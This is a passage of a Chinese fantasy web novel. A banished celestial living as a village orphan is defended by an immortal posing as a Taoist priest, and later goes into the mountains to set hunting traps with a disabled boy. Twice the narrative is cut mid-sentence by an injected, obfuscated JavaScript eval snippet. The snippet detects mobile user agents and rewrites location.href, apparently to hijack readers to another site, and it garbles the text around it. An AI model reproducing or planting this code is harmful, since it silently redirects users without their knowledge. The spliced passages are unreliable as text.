明明是村子里的事,如今被风有情这么一问,李叔倒是不好意思张嘴,支支吾吾道:“村子里的私事。” 第五茗敛容无语,果然凡人天定的性格便是欺软怕硬。 风有情指向第五茗,责问李叔道:“和她有关吗?” 李叔点点头。 风有情蹙眉,厉声道:“那就不算私事了。” 李叔诧异,道:“啊?怎么不算?” 第五茗呆愣,纳闷道:“啊…你要管我的事?” 两人反应,弄得风有情一愣。他回神,继续盘问道:“的确和她有关的事,遑论不上是私事。你这村夫先讲讲,所谓的‘私事’是什么事?” 李叔出奇的听话,竟按照风有情的询问,细细将原委说了出来。 第五茗听完对方把她这七年衰不可及的命事说给风有情听后,面色羞红,正欲躲避,风有情大手一拉,把第五茗扯到李叔面前,震道:“胡扯!!她身负福光,岂是你口中说的那样。” 瞬时,风有情大声宣言道:“我瞧平安村的气运不竭,皆源于她,也正是她身上的福光,让我寻到了此地。” 他声音轻了些许,继续道:“留下她,方能将村中大灾化为小难,让一村人平安度过。” 围在远处的村民,又吵吵嚷嚷讨论开来。 李叔犹豫道:“这么严重?不会吧…没这小倒霉蛋时,我们村子日子也是这样过,你三言两语,就要我们把她留下,不行…我做不了主,村子里养不起两个孤儿的,我去问问其他人,看他们怎么想。” 说完,李叔朝伸头探望的那群人走去。 第五茗顺势小声问道:“你为村子卜算命数了?” 风有情淡淡地道:“没有。” 第五茗认同道:“我瞧着也是,你都未招反噬,定是在胡言乱语。” 摇摇头,她故作感叹道:“啧…风真君把霉运在身的历劫仙君,谎称为有福小鬼,实在有失公正,幸好我这人嘴严,回去后,定牢牢地守住今日事,不损风真君半分威严。” 风有情低声震道:“第五茗!你嘴上非得这般不饶人吗?你可知本君路过此地,见你们村有异,本君特意折道来访。” 第五茗颔首,正经道:“我猜到了。” 风有情先前打量村里人时,她就猜了个七七八八,况且风有情那一句自语,她离得极近,又不是聋子,自然是都听见了,怎么会不知道他初始落下的意图。 风有情凝眸道:“你不担心死在这儿?” 第五茗莞尔,道:“死了就死了呗。” 她手上一暖,先前松开的那只手,又握了上来,熟悉的触感,让她本来微惊的心,慢慢定了下来。 被她推开的酆小洪,竟是又慢慢挪近了她的身边。 她不知道他在她身侧站了多久… 但最后一句话,她知道他是听见了,她还知道他是明白了其中意思,才会做出这番举动。 酆小洪呆呆地望着第五茗,嘴中喃喃道:“死了?不死…” 一人一语,身为仙君的风有情未有所察觉,眼底闯入一个小小的身影,又突然插入到他和第五茗的交谈中,将他吓退了半步,惊道:“你什么时候过来的?” 第五茗手上紧了紧,笑眼涟涟,先安抚酆小洪,道:“同道长开玩笑呢。” 风有情弯下身,凑近两人,拧眉不悦,没有出言询问清楚情况,便妄自行动,伸出两指点在酆小洪额前。 他突兀的举动,让酆小洪正回了头,眼冒火光,与他狠厉对视。 见状,第五茗无语无奈,或许这是天上仙的通病吧…风有情有些时候做事,的确不太顾忌别人感受。 第五茗拍了拍酆小洪手背,哄道:“没事…” 两指同额头之间,微光正常闪烁,风有情安心道:“是人。” 他收回了手,直起身。 第五茗讪讪地补充道:“酆婶早产,他是痴儿,你别大惊小怪的。” 方才,她却是打心底默认了风有情的动作。 风有情冷冷地道:“你命数坎坷苦难,还带一个痴儿,你怎么活?” 第五茗挑眉道:“风道长不是来帮我了吗?酆家夫妇留了东西在,我有手有脚,除了日子难了点,饿不死我们两。” 随即,她低不可闻地道:“谢谢…” 风有情身形一震,重哼一声,朝村内走去。 走至众人面前,打断热火朝天议论的村民,他问道:“可是商议出结果了?” 李叔没来得及答复,李叔身旁的一个妇人,眼神端详而去,怀疑道:“你真是道士?” 风有情面对凡人,不得不耐下心来,点头道:“嗯。” 妇人身前的一男一女,两名身量同第五茗差不多大小的孩子,挣脱了钳制他们的大手,小脚碎步,围在了风有情身边。 女孩胆怯地拉起风有情的衣角,手心在上面蹭了蹭,叹谓道:“好舒服啊…” 说完这话,她还回头看了妇人一眼,招了招手,满心欢喜。 男孩绕到了风有情的背后,手指隔空在风有情背上银枪末端摩挲,赞美道:“好漂亮啊。” 两人的动手动脚,着实有损体面,风有情正准备呵斥他们,拉了酆小洪一起走到他身边的第五茗,出声道:“风道长!平安村穷,饭都吃不起,我们更没见过什么好东西,您心地善良,宅心仁厚,也大方一些,让我们这些小孩开一开眼界吧。” 语毕,第五茗另一只手拉了风有情衣角,放在酆小洪手上,对风有情抿唇挑眉,道:“我们不会弄脏的…” 她转眼又指向村民,暗示道:“叔叔婶婶怕你,我们却不怕。风道长不仅能力好,也亲民…真真真是一名好道长啊!啊!!” 风有情满脸黑线,神色不悦,嘴上和身上却停了动作,任由村民打量,小孩靠近。 风有情的示弱,让妇人眉开眼笑道:“倒是慈心善目的…像是一名道长的风骨。” 妇人对风有情身前的小孩嘱咐道:“娟儿、宝子,摸摸就得了,别给道长弄坏了,赔不起的。” 娟儿道:“知道了,阿娘。” 宝子道:“婶婶,我没敢摸…” 有了妇人和小孩领头,其他人壮了胆,七嘴八舌地问道:“你真是道长?” “现在道长穿这么好吗?” “你没听见蒲小明说吗?他是京都来的…” “你刚刚使得是法术?还是街边的障眼法?” “道长,你娶妻吗?你看我怎么样?” “你们道观还收不收弟子?” “能吃饱饭吗?我也想去拜山入观。”、 “咳咳咳…你看老朽这个年纪还有机会吗?” “…” 几十人,你一言我一语,没有一个人问到风有情在乎的事上。 村民本来因为畏惧离得远远的,此时,都围了上来。 风有情脸色越来越难看,双手握拳,神情僵硬,低头扫了眼在同酆小洪打闹的第五茗,平地起风让众人迷了眼,手掌撩收衣襟,退后了两丈,低吼道:“贫道喜静,喜宽阔,不喜拥挤。” 在众人的怔愣中,风有情继续道:“你们有什么疑惑可以一个一个的问,贫道都会作答。” 忽而,他却是再度把枪震入地中,道:“但!善信们需知,贫道出行乃是有要事在身,停留此地不过是为这位小善信解福光之难,并同时为自身化一份功德回去。于贫道而言,这事可做,可不做!这功德也是可得,也可不得!!若是善信们不为自己村子考虑,问一些无关紧要的话,贫道也无可奈何,只能将今日勘破的天机忘却在脑后。” 一番话,慷慨激昂,唬住了在场之人,包括其中的第五茗。 须臾,第五茗回过神,心中不禁震撼道:如此能言善辩,巧舌如簧,还油滑…以前怎么没瞧出来?! 本以为你只会以天令行事,原来也是一个普普通通的仙啊。 官调学得不错… 霎时,还是那妇人,先出言讨好,嗫嚅道:“我们听老李说了,道长啊…你的话我们也不是不信,只是你不知道,蒲小明来了以后,发生在酆家夫妇身上的事,实在是太离奇了。” 风有情摇头道:“此言差矣,是他们夫妇命数就该如此,反而因蒲小明到来,他们的痴傻孤儿得了福报相护,才能在他们离世后得人照顾。” 众人不自觉点头赞同。 风有情顺势道:“酆家本是曝尸荒野,无人殓葬的命,因捡得福运傍身,方能死后有归所,不仅如此,来世之命,也因往日所行,得了逆转…” 他们掐不准后半句是真是假,但前面一句酆家身亡的断言,却是真得不能再真。心智不愚的人都清楚,除去第五茗这一条线,盘算下来,酆家夫妇的确是死无葬身之地的命数。 于是,众人纷纷认定了风有情是一位有能力的道士。 村子内,一间房屋的转角处,漏出了几个脑袋,有男有女,他们在前面那群人认同风有情的话时,怨声载道地,在背地里讨论道: “其实他们两出不出村也无所谓…只是,那么好的屋子留给两个小孩,真是糟蹋了。” “村里的福星没了,留两个小崽子有什么用。” “酆嫂子亲手团的一床被褥,晒了好几个火日,我家小儿好怕冷的…” “到底留不留他们啊!若是村子真出事了怎么办?” “应该早几日把他们撵走的…这臭道士多管闲事…” “他们送进城里,指不定能给好人家捡了去,留在就只有死路一条。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721030|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “酆家夫妇留下的东西,我们也分不到了。” “还不怨你,非得等到再打雷的时候。” “啊!!”“谁推我!?”“哎呀!哪来的石子…”“疼死了!!” 那几人眼神精明,模样看起来不够机灵,穿着也有些邋遢破旧,皮肤倒是细致的紧。 几人在风有情的轻笑声中,数声惨叫,横七扭八地摔倒在地。 闻声,村口的人向身后望了去,第五茗瞧见风有情突然变化的神情,又看见那几人后,洞若观火,心中唏嘘道:真衰,刚遭祸事,又遇小人。 难怪村里一群质朴无见识的人,会像是有了人指引,着急忙慌地想把他们两人赶出村子。 好在,这几人都不太受村里人待见。 地上那几人吃痛地从地上爬了起来,其中一人对观望的众人嘻嘻哈哈道:“脚滑…绊了一跤…你们继续。” 剩余人在风有情和第五茗的眼神扫射下,不自然道:“我们就是路过,村子里的决定,我们不参与…” 话还没说完,几人一溜烟跑了。 众人又回了头,深思慎重地纠结第五茗的去留。 先前,他们是忘了何时开始把蒲小明视作倒霉蛋的,方才看见那偷偷行事的几人,众人才想起来,酆家夫妇不幸的传言,最先便是在这无聊又没事干的几人嘴中传出来的。 他们一直都是这样,无人号召时,是一盘散沙,有人引领时,倒是真像一个村子土生土长的人,格外齐心,又愚蠢,有盲目,又专注,又没头脑。 他们心里没了底气,撵走第五茗的事好像突然变得有些牵强。 正在这时,那出头问话的妇人不依不饶,心里打定主意,意图暴露无疑,嘟囔道:“风道长,你的能力我们也没瞧见…好事都叫酆家占了,这福报也没落在我们身上啊,我们看不见,也摸不着。” 人群中,一位婆子,心思浅浅…想起刚才逃走那几人的许诺,又有了妇人拉下脸面在前,她嘻嘻笑道:“道长,你身上的能力可否叫我们使一使呢?你说一两句话,我们一村人好不容易做下的决定就要改变,恐怕不妥当吧。你若是能把老婆子我家那屋顶上,前日被风雨掀翻的草皮盖回来,老婆子我就信你…” 可怜啊… 那几人是主谋,第五茗身边的一群人却是帮凶。 主谋见事情暴露,会羞敏逃跑。 帮凶仗着人多势众,意识到行为和意图有误,最后,却宁愿将错就错,也不愿意放过到手的好处。 一时之间,倒是说不上那方更叫事外看者心寒。 对立众人而站的一仙和两名小孩,见怪不怪,没有一点惊讶。 小鬼和人魂的心思,作为写过命数的第五茗,一眼就看穿了,她正准备阻止风有情别被误拉来做一些无关紧要的事。风有情脚下一蹬,原地腾飞,站在屋顶上方,拔枪横扫,把村子里所有的屋顶上翻折的屋顶,都重新铺好了。 婆子上前看了几间房屋,口中频频叫好,其他人从震惊中回神,也跑上前看了两眼,跟着叫好。 风有情落回第五茗身旁。 第五茗默然道:“他们的心思你看不出来吗?” 风有情毫不在意道:“司命府喜欢写出这样性情的人,他们是按照定好的性格行事,他们没错,于我来说也是举手之事,你能留下来,目的就达到了。” 顿了顿,他望向村子里的那群人,低吟道:“再说了,他们为私结营,你我何尝又不是呢?” 第五茗语噎,良久,嚅嚅道:“你说的有道理。” 风有情质问道:“我所营不过都是为了天界的利,所以你什么时候能想清楚?什么时候才愿意回天界?” 第五茗心头一颤,不知如何作答。 两人都无视了一旁紧贴的酆小洪,话中毫不避讳。 自然,不算凑巧,酆小洪拉紧第五茗的手,喃喃念道:“饿、渴…回家…” 第五茗手中暖暖的,连带她的紧绷的思绪也渐渐松了开,她猛然笑起,对风有情答道:“风道长,我所营不为别人,我也是和他们一样为自己,为自己的肚子,为自己的嘴,为那一间破茅屋,所求所愿皆为自己而已。” 蓦地,她畅然道:“风真君,司命府那些簿子上的事,我也想过不少…其实说句实话,数以无计的生命,让你来写还不一定能写出什么样呢…他们已然写得不错了。” 风有情面色暗沉,震道:“你!!下来太久,鬼气十足!!” 第五茗拉起酆小洪朝酆家小院走去,不辩解,愉悦道:“今日之事,多谢风道长了。不知为何,虽遇糟心之事,但我却是开心得很啊!!” 风有情想拉了她再说道说道,村里查看完自家房屋的村民又跑了回来,围在风有情身边,拦了他的去处。 东一句,西一句,村民如遇真仙,诉求道:“道长真神,长枪一挥,所有屋舍都修好了。道长还有时间的话,可以帮我看看我家母鸡最近几日是怎么了吗?它好几日不下蛋了。” “道长,我家有一面材火,受了潮,您能不能帮我弄干?” “我没什么需求,道长要是大方,可是有带好吃的东西,我嘴馋…” “道长…我想长得如你一样英俊。” “我还没嫁人,道长收了我做徒弟吧?” “道长,我…” 陈情不断,但在乞求之后,人人嘴里都会跟一句,“蒲小明看来真是有福之人啊,竟能带来道长这号人物…” 自然有人信,也会有人不信,但自此以后,村里人,少数服从多数地,再没人提及撵走第五茗和酆小洪的事,都默认了风有情这日的要求。 73. 二十载风雨一世4 第五茗和酆小洪离开后,也不知道风有情是怎样从一堆无礼要求中脱身的,他们自从那日回到村里后,村民面上都挂了笑容,他们的两人的日子亦好过了许多。 直到后来,第五茗为了生计,跟村里人一起入山,村民渐渐地对那日道长的话有所怀疑。 彼时,第五茗拉扯酆小洪已有十一二岁了,完全有足够的劳动力,不再惧于他们聚众闹事。 这些年,两人过活也实属不易。 前面两余年,基本靠第五茗入山捡果子,捡枯枝落叶,捡村里人丢弃的物品,捡各种东西…俗称拾荒,来勉强支撑。 后面近三年里,第五茗和酆小洪手长脚长,有些力气了,他们就开始入山寻好点的东西… 本来,第五茗以为能像村里人一样,捕获一些野味,或是砍伐一些粗木材火,拿到镇上换银钱,结果,遇见的“野味”要么是比他两还雄壮的,非打猎设坑弄不下来,只能眼睁睁看着到口“野味”回家;要么就是死了好几天,第五茗看见都会发酸呕吐的,根本下不了口。 材火就更别说了,辛辛苦苦砍了粗树,树还没抗回家,总能在下山前,出现各种原因,让所有木头无缘无故滚到山崖下。 于是,第五茗放弃了… 他们又回到了捡果子和捡枯枝落叶过日子的生活。 好在年岁长了的他们,要比小时候厉害些,捡回的果子有些个大,枯枝囤得多了,还可以跟村里人换东西。 这一日,傍晚。 第五茗背了一捆细小笔直,两端削出尖头的木棍,刚走到院子里,就兴高采烈地大喊道:“小洪,有一个好消息,今天给十一伯送材火时,他说明日要带我们入山做陷阱围猎。” 须臾,她更大声地道:“我们终于可以去捕“野味”了!” 酆小洪闻声出了院子,帮第五茗把背上的东西卸了下来,蹙眉道:“入山,危险。” 二人走进屋内,将做陷阱的“箭”放在矮凳上,第五茗喝了一口清水,把桌上的油灯点燃,看了眼对面的人,摇头道:“怎么会危险,咱们终于可以过上好日子了。” 她脸色神秘地在怀里掏着什么东西。 酆小洪手指在桌上抠划,不安地道:“现在,挺好。” 一个荷叶包压在了酆小洪乱动的手指上,还是温热的。 第五茗眼眶泛红,诱惑道:“知道这是什么吗?” 酆小洪眼有星火闪烁,了然于心,瞬间,他低下头遮掩,否认地摇了摇头。 烛火昏暗,细小的动作和神情在这当中都会被掩藏,何况第五茗眼神还不好使。 第五茗小心翼翼地打开荷叶包,里面装的是肉菜和粟米。 她吞咽道:“没吃过这好东西吧。” 忽而,她话一转,顿促尴尬道:“我倒是忘了,你倒是吃过的,可能你不记得了,酆叔酆婶还在的时候,我们两也是吃过不少肉糜粟粥。” 砸吧砸吧嘴,她回味道:“好香的。” 因为第五茗高兴,酆小洪嘴角费力地弯了起来。 第五茗把荷叶包向酆小洪推近,道:“先闻一闻吧,十一伯给的,这是肉味,最好闻的味道。” 酆小洪听话地,拿鼻子凑在荷叶包上,道:“香的。” 第五茗示意道:“尝一尝,吃起来会更香。” 酆小洪抬起头,动作迟疑地在第五茗满脸期待的表情中,没了下文。 第五茗笑着叮嘱道:“拿吧,捡上面的肉,你会喜欢的。” 酆小洪这一次没有犹豫,伸出手,拿起了面上的一片肉干,却是喂在了第五茗嘴边,道:“你吃,开心。” 第五茗一怔,心间一跳,忘了配合酆小洪动作,傻傻地望了过去。 酆小洪手中的肉和手指贴上了第五茗的唇瓣,道:“喜欢,先吃。” 第五茗眉眼欢喜,张嘴半含了酆小洪的手指,连带指尖的油水,把那一张肉吃进了嘴里,咀嚼道:“真香,以后我们会有很多很多肉可以吃的。” 方才的接触,让酆小洪的指尖有一阵酥酥麻麻的痒意,他把手就那么举回了眼前,忽而抬起眼,直视第五茗,沉声道:“往后,我喂。” 话语不断,酆小洪又蹦出两词,道:“别人,别要。” 第五茗吃了肉,心里舒坦,面上大笑道:“好好好,我知道了,小洪心里想着我呢。以后你有肉吃了,你就喂我吃。” 她挑了一片肉,塞进酆小洪嘴里,飘飘然道:“至于别人…世间没有多少十一伯这样的人,没有人会给我们吃肉的。” 酆小洪细细嚼咽,刚吞下,她又捡起一片,喂进酆小洪嘴里,随后,给自己也吃了一块,满意地呢喃道:“好吃吗?” 酆小洪点点头。 两人把剩下沾了油水的粟米分食完,惯常地,早早收拾洗漱,就要准备入睡了。 第五茗在床上左等右等,都没看见酆小洪进门,在屋内大喊道:“小洪?” 脚步声响起,酆小洪从外间跑了进来,额上的发丝还在滴水,他急忙道:“我在,听话。” 第五茗皱眉,做出不悦的神色,道:“你一到晚上就不安生,你哪里听话了,怎么还没收拾好吗?还是又存了想出去折腾的心思?我跟你说啊,你今晚最好老老实实睡觉,不要半夜又跑出去,明日一大早,我们要随十一伯他们入山。” 酆小洪点头道:“知道,安分。” 第五茗语气软了下来,道:“洗好了吗?” 酆小洪低头倾首,缓步向床榻走近。 第五茗叹息道:“入秋了,你不早些上床,我畏寒,睡不着的…” 酆小洪坐上床沿,自责道:“是我,不对。” 第五茗又长呼一声,道:“唉…当日风有情来的时候,没要金银钱财是我思虑不周,我竟是忘了让他将你给治好,也疏忽那游医给我的诊语,若是要来几枚丹药,今时今日你也不会是小孩心性,不分昼夜,随性而为,半夜还要梦游,我更不会因畏寒无法入眠,责任都在我啊。” 酆小洪道:“是我,耽搁。” 他掀开第五茗裹在身上的被褥,将身上外衣脱掉,缩了进去,任由第五茗双足锁住他的行动,身子蜷进他的胸膛取暖。 真冰… 第五茗的身体都不是冷可以形容的。 冰,是因为长时间没有温度,才会这样。 一番折腾,双双躺了下来,酆小洪负疚道:“明晚,早些。” 身体渐渐回暖,第五茗满足地闭上了眼,道:“快些睡吧,明日真得早起。” 一大早,天刚有微光,十一伯就来叫两人一起上山了。 连同其他入山狩猎的数十人,队伍可谓是浩浩荡荡。 走了十几里山地,开始有同行人停了下来,他们找了几块植被茂盛,有踩踏痕迹的地方,挖坑、插箭、拦网、铺草…十一伯带着第五茗和酆小洪,此行并没有急着找地儿布置陷阱,而是在别人做这些的时候,拉了两人前去观摩。 随后,再跟了剩余人,一起朝山中深处走去。 逐渐的,同行的人越来越少,直到只剩下十一伯与第五茗和酆小洪三人。 十一伯带了两人又往山林深处走了一段,杂草没过膝盖,人行的痕迹基本了无,野兽动物的粪便随处可见,十一伯堪堪停了下来,道:“就这里吧。” 第五茗担忧地问道:“十一伯,我们会不会走得太深了?” 十一伯靠树歇息道:“不会。万事开头难,第一次带你们出来,若是不寻一个好地处,你们尝不到甜头,后续就不会再愿意上山了。既然是要教你们狩猎,自然是要保证你们能猎到活物。” 第五茗和酆小洪卸掉身上的东西,找了旁边另一颗大树,靠着喘息。 第五茗道:“都听十一伯的。” 十一伯环视了一圈静谧的林子,最后将视线仰头盯在头顶茂密的树叶上,喟然道:“你们年轻力壮,走深一点,更好捕到好东西。想以前,我们刚到这里的时候,大家走得比这还要深,还要远,一去三五日,带回来的都是一些好东西,现在…各自有了妻儿,心里装的就多,不敢往里面继续走了,也不敢在山里久待。人多了,东西却不见多起来,日子啊,苦呀,真是一年不如一年了。” 第五茗问道:“十一伯,我们这次要在山里待多久?” 十一伯答道:“什么时候你们的坑里出东西了,我们什时候就下山。” 第五茗道:“我们没带干粮和水…” 十一伯笑道:“这次上来,还存了私心,想再教你们一些傍身的东西。山里不像你们想的那么穷困。你们要知道,当初的平安村是没有人的,各个都是逃荒入山里的人,我们相遇了,才结伴下的山,在山下安了家。” 他赞叹道:“这山里都是宝贝…有吃的,饿不死;有喝的,渴不死;干草树枝,草叶石洞,都是可以避风休息的地方。” 第五茗道:“为什么要教我们这些?” 十一伯道:“以前酆家两口子人真的好啊…” 他看了一眼傻愣愣,转动脑袋环顾四周的酆小洪,惋惜道:“他们走得太早了,你一个女娃子,以后肯定是不会守着他过日子的,就算你肯,你嫁了人以后,你也不能了。我只是想若是现在教会了你们,你就可以在日常里多教一教他,让他能靠自己,靠这山…多活一日算一日吧。” 第五茗浅笑道:“这番话我记得了,十一伯放心吧。” 接下来,第五茗和酆小洪便按照一路上山学到的东西,在十一伯的指导下,设置陷阱。 等到两人初具成效地搭出两三个捕猎阱,十一伯才放手守在来时的路边,让两人根据他教的方法,去更深一点的地儿埋坑。 起初,第五茗是不敢深入的,好在身旁有酆小洪陪着。 第一个独立挖的坑,第五茗把木箭有规律地插在里面,完事后,抬头朝坑外喊道:“小洪,拉我上去吧。” 郁郁葱葱,落叶沙沙,坑沿上方,没有如期漏出一颗脑袋。第五茗心下紧张,大喊道:“酆小洪?酆小洪!!” 大半晌过去,第五茗依旧没有得到回应。 第五茗失声呐喊道:“酆小洪!?酆小洪!!你听到了就应我一声!!” 接连喊了好一阵,都没有回应,正当她准备放弃的时候,坑上灰头土脸地探出了一颗脑袋。 第五茗松了口气,冷静沙哑道:“小洪…你先拉我上去。” 酆小洪手上使劲儿,第五茗拽住绳子,爬了上去。 她怒火顿生,一把将瘦高的酆小洪推到在杂草上,双腿锁住对方,不让他反抗,抽出酆小洪的一只手,狠狠地打了下去。 “啊!疼…” 酆小洪没有闹,也没有喊,甚至没有挣扎,反而是一心想惩罚酆小洪的第五茗,眼眶红润,看着自己的手心,大口呼凉气。 她心里吐槽道:这是是谁打谁啊,疼死了。 见她疼痛难忍,酆小洪紧张地坐起身,想要查看。 结果,第五茗骑的位置恰好在他腰肢上,因为他突然起身,第五茗身子不稳,歪歪扭扭地向后栽去,险些掉进她插满木箭的陷阱坑里。 得亏酆小洪除了智力有问题,身手还算敏捷,一拉一扯,将第五茗抱进了怀里。 势头不稳,两人在草上滚了几圈,才停了下来。 第五茗压在酆小洪怀里,小腹被酆小洪衣服下发硬的东西抵住,让她很不舒服。 她身下的人好像也不好受,面色痛苦,五官狰狞,她慌乱地爬了起来,关心道:“怎么了?受伤了吗?” 酆小洪摇头道:“没事,没事。” 他撑地坐了起来。 第五茗才看见他背后的硬石,紧张地去掀酆小洪的衣服,衣襟半解,几颗青色的果子滚了出来。 有片刻失神,她喃喃自语道:“方才…原来是你摘的果子啊…” 山林幽静,两句话,一字不漏地落尽了酆小洪的耳朵里,他眉目深凝,完全不是一个痴儿该有的样子,复述第五茗话,道:“方才…果子…” 第五茗早蹲到了酆小洪的身后,自然是看不见他的神情。 那背上红印一大片,第五茗没有半丝犹豫,直接上手揉搓,帮他化淤活血。 第五茗埋怨道:“我适才在坑里叫了你很多遍,你在哪里?” 酆小洪抬手指向一侧,那是坑附近,目光所及,正好有一颗挂满绿果子的树,和他怀里滚出来的果子一模一样。 他道:“树上,摘果。” 那果子树很大,果子很多,想起先前十一伯的话,第五茗感叹道:“深山还真是容易养活人啊…这么多果子。” 转瞬,她一掌重重拍在酆小洪背上。 “啊!疼死了…” 手掌心火辣辣的疼,和刚刚惩罚酆小洪手心时别无二致。 她再度打人,却再次疼到了自己。 第五茗心底火气更盛了,半眯眼眸,大口朝手掌心呼气缓解,咬牙切齿道:“那么近,我叫你,你怎么不回我!!!” 酆小洪转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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酆小洪咬在果子上的嘴一顿,抬起头来,询问道:“往后,嫁人…离开?” 今日收获还真颇丰,第五茗第一次听见酆小洪一连吐出三个词,神色大喜,激动道:“小洪…你…你刚刚说了三个词,人果然还是得人来教啊,我往日那般努力,你都一个样…十一伯就带你来了一次深山,你学得倒是挺快的。” 酆小洪面容紧张,手中的青果都捏出了水,他又讲了一遍道:“往后,嫁人,离开?” 他显而易见的,在为第五茗嫁人的事着急了。 第五茗却沉浸在酆小洪进步的喜悦中,忽视道:“小洪真棒!再讲一遍?能换一些其他词吗?” 酆小洪双唇紧闭,浑身发抖,手中的青果掉落在了地上,双手早不由自主地,攀上了第五茗的双肩,越握越紧。 嘴里,却是一个字也没憋出来。 见状,第五茗反手拍着他的手臂,安慰道:“不要急…慢慢来,我有一个朋友以前也是异于常人,但这些年日复一日地练习下来,越发和我们相差无几了,你多多练习,以后也能正常讲话的,咱们也不是非得急于这一时…” 突然,酆小洪底气不足,脱口而出道:“不要,嫁人,好吗?” 他脸上,震惊失色,很显然,连他自己可能都没想到,嘴里会蹦出这么一句话来。 断断续续,还是一句完整的话。 这话从他嘴里问出来,倒是让第五茗高兴不起来了。 她愣住,拧眉道:“你这模样…我没给自己本子上写无聊的情劫,你怎么会说出这种话。” 闻言,酆小洪一怔,局促和不安让他攀在她肩膀上的手滑了下来,眼眸也低了下去。 他身上那颗咬了一口的青果落入眼中,他闪躲借口道:“难吃,会饿。” 第五茗也看见了他视线中的青果,心中恍然道:啊?!!为了一口吃的???凡人能说出命数以外的话!!! 这命格簿子里的异数,原来这般常见。 她脑海中不禁想起过往做司命司命时,听过的一些小鬼故事。 随后,她轻松安慰道:“好了,我不会嫁人,也不会离开,十一伯只是好心。若是觉得饿,就赶快起来,我们再多挖几个坑,指不定捕到山猪野鸡,我们就能吃到撑了。” 于是,两人又开始吭哧吭哧挖坑埋陷阱。 天将黑的时候,两人回到了十一伯身旁。没想到十一伯守的那两三个小坑,竟真的捕获到了一只山鸡。 这还是五年以来,第五茗和酆小洪的唯一一食饱餐。 十一伯在两人走后,找了三团干草,七八张人身大小的芭蕉叶。他在火堆旁铺下芭蕉叶,对回味野鸡滋味的两人,招手道:“都过来吧,早些歇息,明天还要去收坑。” 酆小洪点头。 第五茗应道:“嗯,来了。” 围着火堆,芭蕉叶铺了三身床,十一伯拿起干草,在全身一边缠绕,一边传授经验道:“山里冷,裹上干草就暖和了。” 第五茗和酆小洪拿起干草在身上裹着,有模有样地,见状,十一伯触景生情,感叹道:“我们以前都是拿干草给庄稼和畜生保温,没想到,这干草如今成我们的被褥了,哈哈哈哈…” 他择了一身不挡风的芭蕉床躺下,面朝火堆,缩脖蜷腿。 干草的确能让体温散得更慢一些,但前提是这人身上得是能发热的。 第五茗裹上干草后,身上完全没有一丝暖意。她把剩余两身芭蕉床挪到了一起,解开了身上的干草,叫来酆小洪,把他身上的干草也解了下来,顺带还剥开了他的一层外衣,整个人挂挂了进去。 她吩咐道:“小洪…把外衣系上,再把这两层干草裹在外面,我有些冷。” 如言,酆小洪照做。 而火堆对面,十一伯半闭的眼睛瞪得溜圆,破口而出道:“你们…你们…” 酆小洪手上动作停了下来,循声看了过来。五茗跟着看向十一伯,道:“怎么了?” 十一伯不好直说,委婉道:“你们这样多久了?” 第五茗疑惑道:“这样?什么样?” 十一伯手脚都困在干草里,恍若一只蝉蛹激动的蠕动,好不容易把手挣脱出来,掌心一闭一合…一闭一合地形容道:“像这样啊!你贴着他,他贴着你,亲密无间!!你两这样到…到底有多久了?” 74. 二十载风雨一世5 酆小洪眼中闪光,脸颊因火有些微红。 第五茗回头看了两眼身下,转回头,笑道:“十一伯误会了,我怕冷,小洪正好体热,我就借他体温取取暖,我们什么也没做。” 思虑十一伯可能会没听懂,第五茗补充道:“不论春夏秋冬,我们从来都是穿着衣服入睡,他和床榻里的狸猫一样,没有反应的,每晚都很乖,我们就只是睡觉。” 十一伯眼睛瞪大,失语道:“你…你这女娃娃,你…还没及笄,你…你竟知道那些事。” 这回第五茗听懂了,没有不好意思,承认道:“嗯,早懂事了一些…知道一点,不多。” 酆小洪哑然道:“你懂,何事?” 第五茗摇头道:“不懂不懂,和十一伯讲闲话呢,你不必听。” 唉…她其实知道的还真不少,懂得也不少。 总不能直说,她虽然没经历过,但看过写过的很多吧。还有风有情的金色情丝记忆里,她可是声临其境地旁观了许久。若如实坦白,那不得吓着此间两人?还不知道会怎么想她呢… 酆小洪她倒觉得没什么,他痴儿傻性,说了也不会懂。 十一伯的看法,她还是在意的,她担心第二个给她吃肉的人,会觉得她比痴儿酆小洪还有病。 那方十一伯脸色涨红,支支吾吾,都不知道该再说些什么了。 另外,还有另一人,脸色也在火光中朱红如肝。 原来,酆小洪并未如他问的一般心里不明,他心境诚然,只是说不出。加上刚刚听了两人的一言一语,顿时想起白天挖第一个坑时,第五茗瞧见青果后失望的言语,他此刻明白了当时所感并没有想错,现下紧贴她人,心中躁动,像个怀春少男,面上羞赧。 十一伯捂眼道:“呀哟喂…我的女娃娃啊,你这样,将来还怎么嫁人啊!!身子都遭傻小子碰完了,村子里哪里还有汉子敢要你嘛。” 第五茗抿唇安慰道:“十一伯,你定定心,无妨的…无妨的,我以后就守着小洪过完这一生好了。现在,挺好的…我知足了。” 她心里想的,却是另一番话:村里?那些气运极低的人,怎么可能承受得住我,和我待一起,指不定那天提前暴毙了呢。 十一伯松开手,尴尬懊悔道:“我应该早些来管管你们两的…晚了,晚了啊!” 长舒一口气,他妥协道:“你两的事我不会对外讲的,我会保密。你是女娃娃,以后多爱惜自己一点,遇见好的,能干的,还是找一个归宿吧。” 第五茗没搭话,酆小洪听见这句话后,侧头偷看了一眼近在咫尺的脸,对方正好也刚回转头,两厢视线对撞,第五茗挎在酆小洪身上的手,在对方背上轻抚几顺,笑道:“把干草裹上吧,我怕冷。” 酆小洪背上的动静让他一愣,随即反应过来是第五茗想让他安心,他听话地动了起来,把干草裹在了身上。 